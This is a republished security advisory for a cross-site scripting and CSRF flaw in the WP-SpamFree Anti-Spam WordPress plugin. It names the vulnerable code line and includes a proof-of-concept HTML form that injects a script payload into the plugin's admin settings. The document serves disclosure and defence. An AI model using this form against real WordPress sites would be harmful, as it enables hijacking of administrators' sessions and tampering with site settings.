Lucene search

WordPress WP-SpamFree Anti-Spam 2.1.1.4 Cross Site Scripting

🗓️ 01 Mar 2017 00:00:00Reported by Securify B.V.Type

packetstorm🔗 packetstormsecurity.com👁 22 Views

WordPress WP-SpamFree Anti-Spam 2.1.1.4 XSS Vulnerabilit

`------------------------------------------------------------------------  
Cross-Site Scripting vulnerability in WP-SpamFree Anti-Spam WordPress  
Plugin  
------------------------------------------------------------------------  
Radjnies Bhansingh, July 2016  
  
------------------------------------------------------------------------  
Abstract  
------------------------------------------------------------------------  
A reflected Cross-Site Scripting vulnerability exists in the WP-SpamFree  
Anti-Spam WordPress plugin. This vulnerability allows an attacker to  
perform any action with the privileges of the target user. The affected  
code is not protected with an anti-Cross-Site Request Forgery token.  
Consequently, it can be exploited by luring the target user into  
clicking a specially crafted link or visiting a malicious website (or  
advertisement).  
  
------------------------------------------------------------------------  
OVE ID  
------------------------------------------------------------------------  
OVE-20160712-0026  
  
------------------------------------------------------------------------  
Tested versions  
------------------------------------------------------------------------  
This issue was succesfully tested on the WP-SpamFree Anti-Spam WordPress  
Plugin version 2.1.1.4.  
  
------------------------------------------------------------------------  
Fix  
------------------------------------------------------------------------  
There is currently no fix available.  
  
------------------------------------------------------------------------  
Details  
------------------------------------------------------------------------  
https://sumofpwn.nl/advisory/2016/cross_site_scripting_vulnerability_in_wp_spamfree_anti_spam_wordpress_plugin.html  
  
The vulnerability exists in the wp-spamfree.php file on line 6049:  
  
$blacklist_keys_update = trim(stripslashes($_REQUEST['wordpress_comment_blacklist']));  
  
In order to exploit this issue the target user must click a specially crafted link or visit a malicious website (or advertisement) and must be autenticated within WordPress.  
  
In addition the WordPress specific blacklist can be cleared by using the request below and employing CSRF.   
  
Proof of concept  
  
The following proof of concept code demonstrates this issue:  
  
<html>  
<body>  
<form action="http://<target>/wp-admin/options-general.php?page=wp-spamfree%2Fwp-spamfree.php" method="POST">  
<input type="hidden" name="submitted_wpsf_general_options" value="1"/>  
<input type="hidden" name="use_alt_cookie_method" value="on"/>  
<input type="hidden" name="comment_logging_all" value="on"/>  
<input type="hidden" name="enhanced_comment_blacklist" value="on"/>  
<input type="hidden" name="wordpress_comment_blacklist" value="</textarea><script>alert(1)</script>foo   
bar   
press   
"/>  
<input type="hidden" name="allow_proxy_users" value="on"/>  
<input type="hidden" name="promote_plugin_link" value="on"/>  
<input type="hidden" name="submit_wpsf_general_options" value="Update Options i?1/2%B"/>  
<input type="submit"/>  
</form>  
</body>  
</html>  
  
------------------------------------------------------------------------  
Summer of Pwnage (https://sumofpwn.nl) is a Dutch community project. Its  
goal is to contribute to the security of popular, widely used OSS  
projects in a fun and educational way.  
  
`

Transform Your Security Services

Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.

Book a live demo

01 Mar 2017 00:00Current